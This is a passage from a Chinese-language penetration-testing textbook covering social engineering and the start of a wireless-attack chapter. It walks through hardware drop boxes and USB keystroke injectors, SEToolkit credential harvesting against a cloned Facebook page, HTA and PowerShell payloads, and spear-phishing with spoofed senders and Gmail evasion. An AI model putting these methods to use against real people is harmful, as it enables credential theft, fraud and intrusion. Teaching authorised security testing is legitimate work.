1.为了配置Raspberry Pi，从https://www.offensive-security.com/kali-linux-arm-images/下载Kali Linux ARM的最新版本，并从源文件中解压镜像。如果你正在基于Windows的操作系统进行配置，那么我们可以利用第1章中的Win32Disk Imager来制作一个Kali的启动USB记忆棒。

2.使用一个读卡器，连接SD卡到基于Windows的计算机，并且打开Win32Disk Imager。选择ARM版本的Kali，即提前下载和提取的kali-custom-rpi.img，并将其写入SD卡。这需要一些时间。在MAC或Linux系统上刷新SD卡的说明可以在Kali网站上找到。

3.将刷新的SD卡插入Raspberry Pi，连接以太网电缆或无线适配器到Windows工作站，通过HDMI电缆连接到显示器，并使用微型USB电源线供电。一旦通电，它将直接引导到Kali Linux。Raspberry Pi依靠外部电源，没有单独的开关。然而，仍然可以从命令行关闭Kali。一旦Kali安装成功，使用apt-get命令检查是否是最新版本。

4.确保及时修改SSH主机密钥，因为所有的Raspberry Pi镜像具有相同的密钥。使用下面的命令：

同时，确保更改默认的用户名和密码。

5.下一步是配置Raspberry Pi连接回攻击者的计算机（使用静态IP地址，或使用动态DNS寻址服务），固定间隔时间使用cron。接着攻击者必须物理访问目标的处所，并将Raspberry Pi连接到网络。大多数网络会自动分配设备的DHCP地址，对这种类型的攻击的控制力有限。

6.一旦Raspberry Pi连接回攻击者的IP地址，攻击者可以使用SSH发出命令，从远程位置对受害者的内部网络进行侦察和利用。

如果连接了无线适配器，如EW-7811Un，150Mbps的无线802.11b/g/n Nano USB适配器，攻击者可以进行无线连接，或者使用Raspberry Pi发起无线攻击（参见第8章）。

MalDuino

MalDuino是一款Arduino驱动的USB，可被攻击者用于红队训练和渗透测试活动中。MalDuino具有键盘注入的功能，并能在几分之一秒内执行命令。MalDuino在面对机构建筑物的物理安全门禁时非常有用。通常，人们认为有物理门禁防护，没人会乱来，因此，机构内部人员很少锁定计算机。即便攻击者获得了系统的物理访问，员工也可以争辩说电脑没有启用USB机制，所以还是安全的。然而，不启用USB并不意味没有启用基于USB的键盘功能。当攻击者插入MalDuino时，MalDuino就可以充当键盘，然后输入攻击者想要运行的特定命令。

MalDuino有两类：精英版Elite和精简版Lite。区别在于，精英版提供了一个SD卡选项，你可以通过设备上的硬件开关转储大约16个不同的有效负载，使你无须重新配置整个设备。而对于精简版，每次改变负载的话，你都必须重新配置MalDuino。

MalDuino还支持Ducky脚本模板，使编写自定义脚本变得很容易。图5-8是一个精英版的MalDuino照片。

配置MalDuino的说明请访问:https://malduino.com/wiki/doku.php?id=setup:elite。

图5-8　MalDuino精英版

这里我们主要介绍如何通过以下步骤在MalDuino上创建PowerShell Empire脚本：

1.在Empire中创建PowerShell负载。

2.确保监听开启，并监听所有连接。

3.将PowerShell启动程序转化为字符串，因为MalDuino的缓冲区大小只有256字节，所以负载必须进行分片。可以通过访问以下网站完成转换：https://malduino.com/converter/。

4.字符串转换完成后，你将看到如图5-9所示的界面。

图5-9　PowerShell字符串转换

5.下一步是建立ducky脚本，如图5-10所示。

图5-10　建立ducky脚本

6.最后一步是将设备插入目标主机，随后，你将看到代理接收到的反馈信息，如图5-11所示。

图5-11　接受MalDuino的反馈信息

5.4　社会工程学工具包

社会工程学工具包由David Kennedy（ReL1K）设计并开发，并由一群活跃的合作者进行维护（www.social-engineer.org）。该工具包是开源的Python驱动框架，主要为协助社会工程学攻击而设计。

设计工具包的目的是通过培训实现安全。它的一个重要优点在于可以和Metasploit框架相互连接，而Metasplot框架提供了攻击所需的负载，通过加密绕过防火墙，以及当目标系统返回shell时进行连接的监听器模块。

为了在Kali发行版中打开社会工程学工具包，可以进入以下路径“Applications/Social Engineering Tools/setoolkit”，或者在命令行中输入“setoolkit”。你首先会看到如图5-12所示的主界面。

图5-12　SEToolkit主界面

如果选择1）Social-Engineering Attacks，会出现如图5-13所示的子菜单。

图5-13　社会工程学攻击界面

下面对社会工程学攻击做简单介绍：

网络钓鱼攻击媒介（Spear-Phishing Attack Vector），攻击者创建邮件信息，并使用附加漏洞将信息发送给目标受害者。

网站攻击媒介（Website Attack Vectors），使用多重基于Web的攻击，包括：

·Java小程序攻击方法（Java applet attack method），伪造一份Java证书，并且运行一个基于Metasploit的负载。该攻击是最成功的攻击之一，可以有效地针对Windows、Linux和mac OS目标进行攻击。

·Metasploit浏览器利用方法（Metasploit browser exploit method），使用iFrame攻击，运行一个Metasploit负载。

·凭据收割机攻击方法（Credential harvester attack method），对网站进行复制，并且通过对POST参数进行重写，使得攻击者可以拦截并且窃取用户的凭证。当窃取完成后，将受害者重定向回原来的网站。

·标签钓鱼攻击方法（Tabnabbing attack method），对一个非活动的浏览器标签页面进行复制，修改复制后的页面，使其与攻击者相连接，最后使用该页面替换原有标签信息。当用户登录该页面时，用户的凭证将会发送给攻击者。

·Web劫持攻击方法（Web jacking attack method），使用iFrame替代，合法地将某些URL连接设置为高亮。当该链接被点击时弹出一个窗口，该窗口连接到一个恶意链接。

·Web综合攻击方法（Multi-attack Web method），允许一个攻击者选择若干，或者全部可以同时使用的攻击手段，包括：

·Java小程序攻击方法。

·Metasploit浏览器利用方法。

·凭证收割机攻击方法。

·标签钓鱼攻击方法。

·中间人攻击方法。

·全屏攻击方法（full-screen attack method），当系统处于全屏模式时，攻击者在幕后发动的简单攻击方法。

·HTA攻击方式（HTA attack method），当一个攻击者提供一个假网站时，将自动下载.hta格式的HTML应用程序。

·介质感染攻击发生器（infectious media generator），生成一个autorun.inf文件和Metasploit负载。一旦受感染的USB设备或者物理介质（CD或DVD）插入目标系统，会自动运行（前提是开启autorun选项）并且感染目标系统。

·创建负载和监听器（create a payload and listener），这个模块是创建一个Metasploit负载的快速菜单驱动方法。攻击者必须使用单独的社会工程学攻击欺骗目标运行该模块。

·大规模邮件攻击（MassMailer attack），允许攻击者向某个邮件地址或者一组接收者发送多封自定义邮件。

·基于Arduino的攻击媒介（Arduino-based attack vector），通过对基于Arduino的设备写入程序实现，例如Teensy。因为这些设备在物理连接Windows操作系统时，注册为USB接口的键盘设备，因此可以绕过基于禁用autorun或者其他终端保护的安全措施。

·无线接入点攻击媒介（wireless access point attack vector），可以在攻击者的操作系统中创建一个伪造的无线接入点和DHCP服务器，并且将DNS解析请求重定向到攻击者的系统。攻击者随后可以进行一系列攻击，例如Java小程序攻击或者凭证收割机攻击。

·二维码生成攻击媒介（QRcode generator attack vector），生成一个与攻击的URL有关的二维码。

·Powershell攻击媒介（Powershell attack vectors），支持攻击者进行依赖于PowerShell（Windows Vista及其以后版本可用的命令行解释器和脚本语言）的攻击。

·短信欺骗攻击媒介（SMS spoofing attack vector），可以让攻击者向某人的移动设备发送自定义的短信服务（Short Message Service）文本，并且对消息的来源进行伪造，这个模块最近被屏蔽了。

·第三方模块（third party modules），支持攻击者使用远程管理工具汤米版（Remote Administration Tool Tommy Edition，RATTE）作为Java小程序攻击的一部分，或者作为一个独立的负载。RATTE是一个文本目录驱动的远程访问工具。

SEToolkit也提供了快速跟踪渗透测试（fast-track penetration testing）的菜单项。快速跟踪渗透测试支持对一些特殊工具的快速访问，例如支持暴力破解认证和SQL数据库密码破解，还有一些基于Python、SCCM攻击媒介、Dell computer DRAC/chassis攻击、用户枚举和PsExec PowerShell注入等的客户端攻击。

快速跟踪渗透测试菜单项同时也提供对Metasploit框架、SEToolkit和SEToolkit配置的升级功能。但是，由于Kali并不支持全部的额外选项，而且这些额外选项可能会造成依赖性干扰，因此要尽量避免使用。

作为展示SEToolkit的强大功能的第一个例子，将会展示如何获取一个远程shell，通过被入侵系统连接攻击者的系统。

5.4.1　使用网站攻击媒介——凭据收割机攻击方法

凭据，通常为用户名和密码，是一个人访问网络、计算系统和数据的依据。攻击者可以间接使用这种信息（登录受害者的Gmail账户发送电子邮件，帮助攻击受害者的信任连接），或直接攻击用户的账户。

考虑到凭据的广泛重用，这种攻击显得尤为重要，典型情况是，一个用户通常在多个地方重复使用密码。

特别珍贵的是有访问特权的用户凭据，如系统管理员或数据库管理员，它可以提供给攻击者访问多个账户和数据库的凭据。

SEToolkit的凭据收割机攻击，使用克隆的网站收集凭据。

要发动攻击，从主菜单中选择Website Attack Vectors（网站攻击媒介），然后选择Credential Harvester Attack Method（凭据收割机攻击方法），然后选择Site Cloner（网站克隆）。作为例子，我们将按照菜单选项来克隆一个网站，如Facebook，如图5-14所示。

图5-14　选择克隆Facebook

接着，目标地址必须发送到预定目标。当目标点击链接或输入IP地址，会出现一个克隆页面，类似于Facebook的登录页面，他们会被提示输入用户名和密码，如图5-15所示。

图5-15　Facebook克隆网站的登录界面

一旦完成后，用户将被重定向到正常的Facebook网站，在那里他们将登录自己的账户。

在后台中，他们的访问凭据将被收集并转发给攻击者。在监听器窗口将看到下面的条目，如图5-16所示。

图5-16　后台收到的数据

当攻击者已经完成凭据收集后，按下Ctrl+C，在/SET/reports/目录中，将生成XML和HTML两种格式的报告。

注意URL栏的地址并不是Facebook的认证地址。如果看到这些地址，大部分用户会意识到有问题。对于一个成功的利用，攻击者需要一个合适的借口或故事，使受害者接受不寻常的网址。例如，发送一封电子邮件给一组非技术性管理者，宣称本地Facebook网站正在由IT接管以减少邮件系统的延误。

凭据收割攻击是评估企业网络安全的一个很好的工具。要使其充分发挥作用，该组织必须首先培训所有员工如何识别和应对网络钓鱼攻击。大约2周后，发送一个企业范围内的电子邮件，包含一些明显的错误（不正确的企业总裁名或包含错误地址的地址块）和一个链接到收获凭据的程序。计算收件人中使用他们的凭据回应的百分比，然后调整培训计划，以减少这一比例。

5.4.2　使用网站攻击媒介——标签钓鱼攻击方法

标签钓鱼（tabnabbing）通过在一个浏览器打开的标签页中加载一个假网页来骗取用户的信任。通过冒充Gmail、Facebook或任何其他网站发布的需要提供数据（通常是用户名和密码）的网页，一个标签钓鱼攻击可以收集受害者的凭据。社会工程学工具包含有凭据收割机攻击，如之前所述。

为了发动这种攻击，从一个控制台提示符启动社会工程学工具包，然后选择1）Social-Engineering Attacks。在下一级菜单中，选择2）Website Attack Vectors。最后，标签钓鱼攻击通过选择4）Tabnabbing Attack Method来启动。

当攻击被启动时，你将看到有三个选项来生成假网站，用来收集凭据。攻击者可以让SEToolkit导入一个预定义Web应用的列表，克隆一个网站（比如Gmail），或者导入自己的网站。在这个例子中，我们将选择2）Site Cloner（网站克隆）。

这将促使攻击者进入服务器将发布的IP地址，这通常是攻击者的系统的IP地址。

随后攻击者必须使用社会工程学，迫使受害者访问地址后，产生返回的行动（例如，缩短URL）。受害者会接收到一个消息，该网站正在加载（如攻击脚本在浏览器的不同标签下加载克隆网站，如图5-17所示）。

图5-17　加载克隆网站

然后，假网页将呈现（虚假的IP地址仍然可见）。如果用户输入用户名和密码，数据将发送到攻击者的监听器。正如你在图5-18中看到的那样，它捕获了用户名和密码。

图5-18　标签钓鱼攻击捕获用户名和密码

网站攻击媒介的“玛丽冰雹”攻击是一种综合攻击网页方法（Multi-attack Web method），它允许攻击者一次执行几种他们所选的不同的攻击。默认情况下，所有的攻击都是禁用的，需要攻击者选择一个在受害者上执行，如图5-19所示。

这是一个有效的选择，如果不能确定攻击对目标组织的有效性，攻击者会先选择一名员工进行攻击，确定攻击成功后，再利用这些方法攻击其他员工。

图5-19　选择多种攻击方法进行综合攻击

5.4.3　HTA攻击

这种类型的攻击是一个简单的HTML应用程序，可以为远程攻击者提供完全访问。HTA通常的文件扩展名为.hta。HAT文件与任何具有扩展名为.exe的可执行文件一样。当通过mshta.exe执行（或者文件图标被双击），它将立即运行。当通过浏览器远程执行时，在HTA下载之前会询问一次用户是否保存并运行应用程序。如果保存，它可以简单地按需运行。

攻击者可以使用Web技术为Windows操作系统创建恶意应用程序：要使用SEToolkit启动HTA攻击，请从主菜单中选择1）Social-Engineering Attacks。然后从下一个菜单中选择2）Website Attack Vectors，然后选择8）HTA Attack Method，然后选择2）Site Cloner克隆任何网站。在这个例子中，我们将克隆Facebook.com，如图5-20所示。

图5-20　利用HTA攻击克隆Facebook

攻击者将发送假Facebook.com服务器给受害者用户进行网络钓鱼，图5-21展示了受害者会看到的界面。

图5-21　受害者看到的界面

如果受害者在本地运行HTA文件，这将打开与攻击者的反向连接，如图5-22所示。SEToolkit应该从Metasploit自动设置监听器。

图5-22　受害者打开与攻击者的反向连接

5.4.4　使用PowerShell字母数字的shellcode注入攻击

社会工程学工具包还包含基于PowerShell的更有效的攻击，适用于所有Windows Vista（含）之后的微软操作系统。因为PowerShell的shell code可以很容易地注入目标的物理内存中，使用该载体的攻击不会触发病毒警报。

为了使用SEToolkit发起PowerShell的注入攻击，从主菜单选择1）Social-Engineering Attacks。然后从下一级菜单选择10）Powershell Attack Vectors。

这会提供四种攻击类型以供攻击者选择。例如，选择1，使用PowerShell alphanumeric shellcode injector。

这将设置攻击参数，并提示攻击者输入有效负载监听器的IP地址，通常是攻击者的IP地址。当攻击参数输入，程序将创建利用代码，并开启一个本地监听器。

PowerShell展开攻击的shellcode存储在/root/.set/reports/powershell/x86_powershell_injection.txt中。当攻击者说服受害者在命令提示符下复制x86_powershell_injection.txt文本的内容时，攻击的社会工程学行为发生，并执行代码，如图5-23所示。

图5-23　PowerShell攻击成功

如图5-24所示，shellcode的执行没有触发目标系统上的反病毒报警。相反，当代码执行时，它在攻击系统上打开了Meterpreter会话，并允许攻击者攻击系统与远程系统交互shell。

图5-24　Meterpreter会话

5.5　隐藏可执行文件与伪装攻击者的URL

正如前面的例子所述，在发起一个社会工程学攻击时，有两个成功的关键因素。首先需要获得一些必要的攻击信息，如用户名、商业信息、网络支持细节、系统，以及应用等。

然而，大多数的工作努力都集中在第二方面，各具特色的攻击，以吸引目标进入一个位置，打开一个可执行文件，或点击一个链接为目的。

想成功攻击，就要求受害者执行一些攻击生成模块。如今用户对执行未知的软件变得越来越谨慎小心。然而，有一些方法可以增加成功执行攻击模块的可能性，主要包括以下几点：

·攻击来自受害者信任和已知的系统，或伪装了的攻击源地址。如果攻击来自帮助平台或IT支持位置，并声称是一个“紧急软件更新”，软件可能会被执行。

·将可执行文件重命名为类似于可信的软件，例如“Java更新”。

·将恶意的有效负载嵌入良性文件，如使用Metasploit的adobe_pdf_embedded_exe_nojs攻击，嵌入一个PDF文件中。

·可执行文件也可以绑定到微软Office文件、MSI安装文件，或BAT文件，配置在桌面上默默地运行。

·有用户点击下载该恶意可执行文件的链接。

·由于SEToolkit使用攻击者的URL作为其攻击的目标，一个关键的成功因素是确保攻击者的URL对受害者是可信的。有几种技术来完成这一任务，包括以下内容：

·缩短URL，使用如https://goo.gl或tinyurl.com这样的服务。缩短的网址常见于社交媒体，如Twitter，受害者点击这样的链接时很少使用注意事项。

·在社交媒体网站如Facebook或LinkedIn进入链接。网站会创建自己的链接来代替你的，使用目标页面的镜像。然后，删除你输入的链接，留下新的社交媒体链接。

·在LinkedIn或Facebook上创建假网页。作为攻击者，你应控制内容，并能创造一个令人信服的故事，驱使成员点击链接或下载可执行文件。一个良好的执行页面将不仅针对员工，而且针对供应商、合作伙伴和他们的客户，最大限度地提高社会工程学攻击的成功率。

5.6　使用DNS重定向升级攻击

如果一个攻击者或渗透测试人员已经侵入内部网络中的一个主机，他们可以使用DNS重定向升级攻击。这通常被认为是一个横向攻击（它侵入的人有大致相同的访问权限），但是，如果捕获了特权人员的凭据，它也可以垂直升级。在这个例子中，我们将使用BetterCap作为交换式局域网的嗅探器、拦截器和记录器。它有利于中间人攻击，但是我们将用它来启动一个DNS重定向攻击，转移用户到社会工程学攻击的网站。

为了实施DNS重定向攻击，新版的BetterCap提供了多种选项，如图5-25所示。

图5-25　BetterCap选项

我们可以根据需要激活相应的模块。例如，这里我们通过IP地址和域名信息创建dns.conf文件，可以对目标实施DNS洪泛攻击（见图5-26）。这使得网络上所有对microsoft.com的请求都会转发到192.168.0.13。我们将在第11章介绍BetterCap的更多细节。

图5-26　利用BetterCap实施DNS洪泛攻击

5.6.1　鱼叉式网络钓鱼攻击

钓鱼攻击是针对大量受害者的邮件诈骗攻击，例如，对已知的美国互联网用户列表进行攻击。一般情况下，无法直接连接目标，并且邮件也不针对某个指定目标。

相反，邮件一般包含很多人都感兴趣的话题（例如，点击此处购买药品），并且包含恶意链接或附件。出于好奇心，总有一些人会点击链接或者附件，从而触发攻击。

从另一方面来说，鱼叉式网络钓鱼是钓鱼攻击的一种特殊的方式。通过特殊的方法，手工生成邮件消息，攻击者希望吸引特定人群的注意。例如，如果攻击者得知销售部门使用特定的应用管理客户关系，他们可以伪造一封来自应用供应商的邮件，主题为“<应用>紧急修复补丁——点击链接下载”。

1.在发起攻击之前，要确保Kali中已安装了sendmail（apt-get install sendmail），并且将配置文件set_config中的SENDMAIL=OFF选项，修改为SENDMAIL=ON。

2.为了加载一个攻击，从SEToolkit菜单中选择Social Engineering Attacks，然后在子菜单中选择Spear-Phishing Attack Vectors。此时会加载该攻击的开始选项，如图5-27所示。

图5-27　网络钓鱼攻击子菜单

3.选择1进行一次大量电子邮件攻击，然后会显示多个攻击负载的列表，如图5-28所示。

图5-28　大量电子邮件攻击

4.攻击者可以根据在侦察阶段获得的可用目标的知识来选择任何可用的负载。这里我们用7）Adobe Flash Player“Button”Remote Code Execution作为例子。

当选择7）时，将提示选择有效负载，如图5-29所示。在本例中我们使用了Windows Meterpreter反向shell HTTPS。

图5-29　提示选择有效负载

一旦从SEToolkit控制台准备好了有效负载和漏洞，攻击者就会得到如图5-30所示的确认。

图5-30　攻击者得到确认

5.现在可以通过选项2.Rename the file，I want to be cool来重命名文件。

6.重命名文件后，将获得两个选项：E-mail Attack Single Email Address（单个电子邮件攻击），或者E-mail Attack Mass Mailer（攻击大量邮件），如图5-31所示。

7.攻击者可以选择多个邮件或较弱的受害者单个目标。如果使用单一的电子邮件地址，SEToolkit会提供攻击者可以进一步使用的模板，如图5-32所示。

8.在选择钓鱼模块之后你有两种选择发起攻击：（1）用你自己的Gmail账户，（2）用你自己的服务器或开放中继。如果你使用Gmail账户，攻击可能失败。Gmail会检查发送的邮件中的恶意文件，能非常有效地识别SEToolkit和Metasploit框架产生的负载。如果你必须使用Gmail发送有效负载，首先用Veil-Evasion编码。

图5-31　获得攻击邮件选项

图5-32　提供的攻击者使用的模板

建议你使用sendmail选项发送可执行文件。它允许你假冒电子邮件的来源，使它看起来好像来自受信任的来源。

为了确保电子邮件是有效的，攻击者应该关注以下几点：

·内容应该提供一个“胡萝卜”（新的服务器更快，反病毒措施有改进）和一个“棒”（在可以访问电子邮件之前，你需要做的一些更改）。大多数人都会立即采取行动，特别是在影响到他们的时候。

·在前面给出的例子中，所附文件的标题是template.doc。

·在真实的场景中，这将被改变为instructions.doc。

·确保你的拼写和语法是正确的，并且在信息的语调与内容匹配。

·个人发送电子邮件的标题应该与内容匹配。

·如果目标组织很小，你可能要假冒真正的人的名字，并且发送电子邮件给一个小组，一般不与个人交互。

·包含一个电话号码，它能使邮件看起来更“官方”，并且，有不同的使用商业语音的IP解决方案，获得本地区号短期的电话号码。

一旦攻击的电子邮件发送到目标，成功激活（收件人启动可执行文件）将创建一个反向的Meterpreter通道到攻击者的系统。攻击者接下来就可以控制被危害的系统。

5.6.2　使用Gophish设置网络钓鱼活动

Gophish是一个开源的集成网络钓鱼框架，同时也支持商用。Gophish框架使得任何类型的用户都可以在几分钟内快速创建网络钓鱼，实现复杂的网络钓鱼模拟，或者实施真正的攻击。不同于SEToolkit，Kali Linux中没有预装Gophish框架。本节我们将介绍如何搭建Gophish环境。

1.根据系统配置信息，从网站https://github.com/gophish/gophish/releases下载对应的Gophish版本。本书中我们使用的版本是gophish-v0.7.1 64-bit Linux version。

2.在Kali Linux中完成下载后，解压文件并配置config.json文件。攻击者可以选择利用多种数据库，如MySQL、MSSQL等，这里我们使用的是sqlite3。如图5-33所示，如果测试人员想在局域网分享资源，那么必须在listen_url中指定准确的IP地址，默认情况下，IP地址是本地主机。

图5-33　配置Gophish的config.json文件

3.然后，在终端中输入./gophish运行应用程序。这就开启了一个具有自签名的SSL证书的BeEF网络应用端口，默认端口号为3333。

4.如图5-34所示，浏览网站https://yourIP:3333就可以访问Gophish应用了。你可以通过用户名admin和密码gophish登录，建议登录后立即修改默认密码。

图5-34　Gophish登录界面

5.7　发起网络钓鱼攻击

在发起网络钓鱼攻击之前，必须先在Gophish做好相应准备工作。在成功发起网络钓鱼攻击前，大致有4件重要的事情需要做：

·模板（Template）：模板是网络钓鱼至关重要的一部分。你必须根据自己的攻击计划创建自己的模板。最常用的模板包括Office365、Webmail,以及内部Facebook和Gmail登录。部分模板可以从以下网站获取：https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/tree/master/Chapter05。

·页面（Page）：网络钓鱼攻击效果取决于你如何用引导页将受害者重定向到一个合法网站。

·配置信息（Profile）：从配置信息你可以获取到所有的SMTP信息和发送者的信息。Gophish允许攻击者根据定制的电子邮件标题定义多种配置。

·用户和群组（User and Group）：上传包含目标受害者姓名的电子邮件账号。Gophish允许测试者创建群组，并支持CSV格式导入群组。

如图5-35所示，一旦模板、引导页、用户和配置信息都设置好，就可以发起网络钓鱼攻击了。攻击者还可以设计网络钓鱼的时间、次数以及目标受害者的群组。Gophish还提供了可选项，用以测试电子邮件是否成功发送到目标受害者的收件箱。

图5-35　利用Gophish发起网络钓鱼攻击

如图5-36所示，成功发起钓鱼攻击后，测试者可以监控整个攻击过程的所有细节。

图5-36　钓鱼攻击监控信息

5.8　利用bulk转换发起网络钓鱼攻击

攻击者也可以利用bulk文件转换软件发起网络钓鱼攻击，如Send、Smash、Hightail、Terashare、WeTransfer、SendSpace和DropSend。

让我们看一个简单的场景：假设有两名受害者ceo和vijay。攻击者可以在他们之间发送文件，以ceo@cyberhia.com为发送者、vijay@cyberhia.com为接收者访问批量传输网站。如图5-37所示，文件上传后，双方都会接收到包含该文件链接的电子邮件，ceo@cyberhia.com会接收到文件发送成功的邮件，vijay@cyberhia.com也会接收到类似邮件。有时，这些批量传输网站不会在公司环境的拦截名单上（如果在，攻击者也可以更换其他网站），从而可以直接接触内部员工，并创建有效的消息，不易察觉的负载也提高了成功概率，并且不会暴露攻击者的身份。

图5-37　ceo@cyberhia.com收到的邮件

5.9　小结

社会工程学是一种黑客方法——利用人们与生俱来的信任和乐于助人的品质来攻击网络及其设备。

在本章中，我们研究了如何用社会工程学来促进攻击，用于收获网络凭据、激活恶意软件，或协助发起进一步的攻击。大部分的攻击依赖于社会工程学工具和Gophish。然而，Kali也还有几个其他的应用程序可以使用社会工程学的方法来改进。我们介绍了无须借助任何电子邮件服务，直接利用bulk转换公司就可以发送负载，从而实施网络钓鱼。我们还研究了如何进行物理访问，通常需要与社会工程学相结合，可以用来在目标网络上放置敌意设备。

在第6章中，我们将研究如何对无线网络进行侦察，攻击开放的网络，以及使用基于WPA2加密保护的网络。我们还将研究一般无线网络协议的弱点，这些弱点使得无线网络协议容易遭受拒绝服务攻击和假冒攻击。

第6章　无线攻击

鉴于移动设备的主导地位，公司自带设备（Bring Your Own Devices，BYOD）的采用，以及提供即时网络连接的需要，无线网络已成为互联网上无处不在的接入点。不幸的是，无线接入在提供便利性的同时，也带来了盗窃访问、盗窃数据，以及网络资源拒绝服务等有效攻击。Kali提供了多种用于配置和启动无线攻击的工具，使组织机构能够提高其安全性。

在本章中，我们将审查研究几项日常任务和无线攻击，其中包括：

·配置Kali实现无线攻击。

·无线侦察。

·绕过隐藏的SSID。

·绕过MAC地址认证和开放认证。

·破解WAP/WPA2加密和实施中间人攻击。

·使用Reaver攻击无线路由。

·针对无线通信的拒绝服务（Denial-of-Service，DoS）攻击。

6.1　为无线攻击配置Kali

Kali Linux发布的几个工具使无线网络的测试变得很容易。当然，这些攻击还需要额外的配置，以达到充分有效。除此之外，测试人员在实施攻击或审计无线网络之前，应该拥有丰富的无线网络背景。

在无线安全测试中，最重要的工具是无线适配器，连接到无线接入点。它必须支持所使用的工具，尤其是aircrack-ng工具套件。具体就是，该卡的芯片和驱动器必须具备向通信流注入无线数据包的能力。这是某种攻击的要求，即必须在目标和受害者之间的通信流注入特定类型的数据包。所注入的数据包可能会引起拒绝服务攻击，允许攻击者获取破解加密密钥或支持其他无线攻击所需要的信号交换数据。

aircrack-ng网站（www.aircrack-ng.org）包含一个已知兼容的无线适配器列表。

在Kali中使用最可靠的适配器是Alfa网卡，尤其是AWUS036NH或者WiFi-pineapple适配器，它支持无线802.11b、802.11g和802.11n协议。Alfa网卡已在现有网络中使用，并支持Kali的所有测试和攻击。

6.2　无线侦察

实施无线攻击的第一步是进行侦察——它可以识别准确的目标接入点，并高亮可能影响测试的其他无线网络。

如果你使用的是连接USB的无线网卡连接到Kali虚拟机，要确保USB连接已经断开主机操作系统，并通过单击USB连接图标连接到虚拟机，如图6-1所示，箭头所指即USB连接图标。

图6-1　USB连接图标

接下来，通过在命令行中运行iwconfig命令，确定哪些无线接口是可用的，如图6-2所示。

图6-2　确定可用无线接口

对于某些特定攻击，你可能希望增加适配器的输出能力。如果你处理的是一个合法的同位无线接入点，并且你想要目标连接在你控制之下的虚假的接入点，而不是合法的接入点，那么这是特别有用的。这些虚假或者流氓（rogue）接入点，允许攻击者截获数据，并根据攻击的需要查看或更改数据。攻击者频繁复制或克隆合法的无线站点，然后增加其相对合法站点更强的传输能力，来作为吸引受害者的手段。使用如下命令增加传输能力：

使用aircrack-ng及其相关工具可以执行许多攻击。首先，我们需要拦截或监控无线传输。因此，我们需要使用airmon-ng命令，为监控模式（monitor mode）设置拥有无线功能的Kali通信接口：

前面命令的执行结果如图6-3所示。

图6-3　使用airmon-ng命令

注意，返回的描述表明有些进程可能会造成麻烦。处理这些进程最有效的方法是使用综合性的kill命令，如下所示：

使用以下命令查看本地无线环境：

前面的命令列出了特定时间点可以在无线适配器范围内找到的所有已识别的网络。它提供由MAC地址识别的无线网络节点的基本服务集标识符（Basic Service Set Identifier，BSSID），标明了相对的输出能力、数据包发送的信息、包含使用通道和数据的带宽信息、使用的加密信息，以及提供无线网名称的扩展服务集标识符（Extended Service Set Identifier，ESSID）。相关信息如图6-4所示，非必需的ESSID已经被模糊。

airodump命令通过可用的无线信道循环执行，并确定了以下几点：

·基本服务集标识符，它是可以标识无线接入点或路由器的唯一MAC地址。

·每个网络的PWR或能力。尽管airodump-ng错误地显示能力为负值，但这是一个人为的报告。为了获取正确的正值，接入终端并运行airdriver-ng unload36，然后运行airdriver-ng load35。

图6-4　显示ESSID标识符

·CH显示了用于广播的信道。

·ENC显示使用的加密技术——它是OPN或开放的（没有加密），或者WEP或WPA/WPA2（使用加密）。CIPHER和AUTH提供额外的加密信息。

·扩展服务集标识符是由拥有相同SSID或名称的接入点组成的无线网络的名称。

在终端窗口的下半部分，你将看到站点试图连接或已经连接到无线网络。

在我们和其他任何目标（潜在的）网络交互之前，必须确认无线适配器有数据包注入的能力。要做到这一点，需在终端窗口的shell提示符下，运行以下命令：

以上命令的执行结果如图6-5所示，其中-9表示注入测试。

图6-5　测试命令

Kismet

无线侦察最重要的工具之一是Kismet，它是一个802.11无线探测器、嗅探器和入侵检测系统。

Kismet可用于收集以下信息：

·无线网络的名称，ESSID。

·无线网络的信道。

·接入点的MAC地址，BSSID。

·无线客户端的MAC地址。

Kismet也可以用来嗅探802.11a、802.11b、802.11g和802.11n等无线通信流量中的数据，并支持用于嗅探其他无线协议的插件。

在终端窗口的命令提示符下输入kismet启动Kismet。

当Kismet启动后，你将面临一系列的问题，允许你在其启动过程中对其进行配置。用Yes回应Can you see colors，接受Kismet is running as root（Kismet以root权限运行），并对Start Kismet Server选择Yes。在Kismet的启动选项中，不选中Show Console（显示控制台），因为它会遮挡屏幕。

系统将提示你添加一个捕捉接口，通常我们选择wlan0。

接下来Kismet将开始嗅探数据包，并收集位于临近物理区域的所有无线系统信息（见图6-6）。

图6-6　运行Kali的Kismet

通过双击选择一个网络，你可以在无线网络上看到一些额外的信息。

你也可以下拉以确定连接到各种无线网络的特定客户端。

使用Kismet作为发起一些特定的攻击（嗅探传输的数据）或识别网络的初始侦察工具。因为它能被动地收集连接数据，所以它是一个很好的识别隐藏网络的工具，尤其是当SSID未被公开传输时。

6.3　绕过隐藏的服务集标识符

ESSID是标识一个无线局域网络的唯一字符序列。通过隐藏ESSID来试图实现网络安全是一种很差的方法。不幸的是，ESSID可以通过以下方式获得：

·嗅探无线环境，等待客户端关联到一个网络，然后捕获该关联。

·主动取消认证客户端，强制客户端关联，然后捕获该关联。

aircrack工具特别适合捕捉需要取消ESSID隐藏的数据，如以下步骤所示：

1.在命令提示符下，输入以下命令，确认无线在受攻击系统中已经启动：

2.使用下面的ifconfig命令，检查可用接口，并确定你使用的无线系统的确切名称。

3.输入以下命令来启用无线接口（你可能需要用上一步中标识的可用无线接口替换wlan0）：

4.如果你使用ifconfig再次确认（见图6.7），你会发现有一个监控或wlan0mon地址正在被使用。现在，使用airodump确认可用的无线网络，输入以下命令：

图6-7　使用ifconfig确认可用无线网络

正如你所看到的，第一个网络的ESSID被标识认定为<length：0>。没有其他的名字或名称使用。隐藏的ESSID的长度确定由9个字符组成。然而，这个值可能不正确，因为ESSID是隐藏的。真正的ESSID长度实际上可能短于或超过9个字符。

最重要的是可能存在已连接到该特定网络的客户端。如果客户端存在，我们将取消认证客户端，迫使它们在重新连接到接入点时发送ESSID。

5.重新运行airodump，并滤掉目标接入点之外的一切信息。在这种特殊情况下，我们将重点从隐藏网络的信道6上收集数据，使用以下命令：

执行该命令删除多个无线源的输出，并允许攻击者把重点放在目标ESSID上，如图6-8所示。

图6-8　删除多个无线源的输出

执行airodump命令时得到的数据表明，这有两个站点（E8：2A：EA：C1：F6：E2和DC-A9：04：78：29：1B）已连接到BSSID（F0：7D：68：44：61：EA），而这又与隐藏的ESSID相关联。

6.为了捕获正在传输的ESSID，我们必须创建一种条件，即可以让我们知道，这将在客户端和接入点之间连接的初始阶段发送。

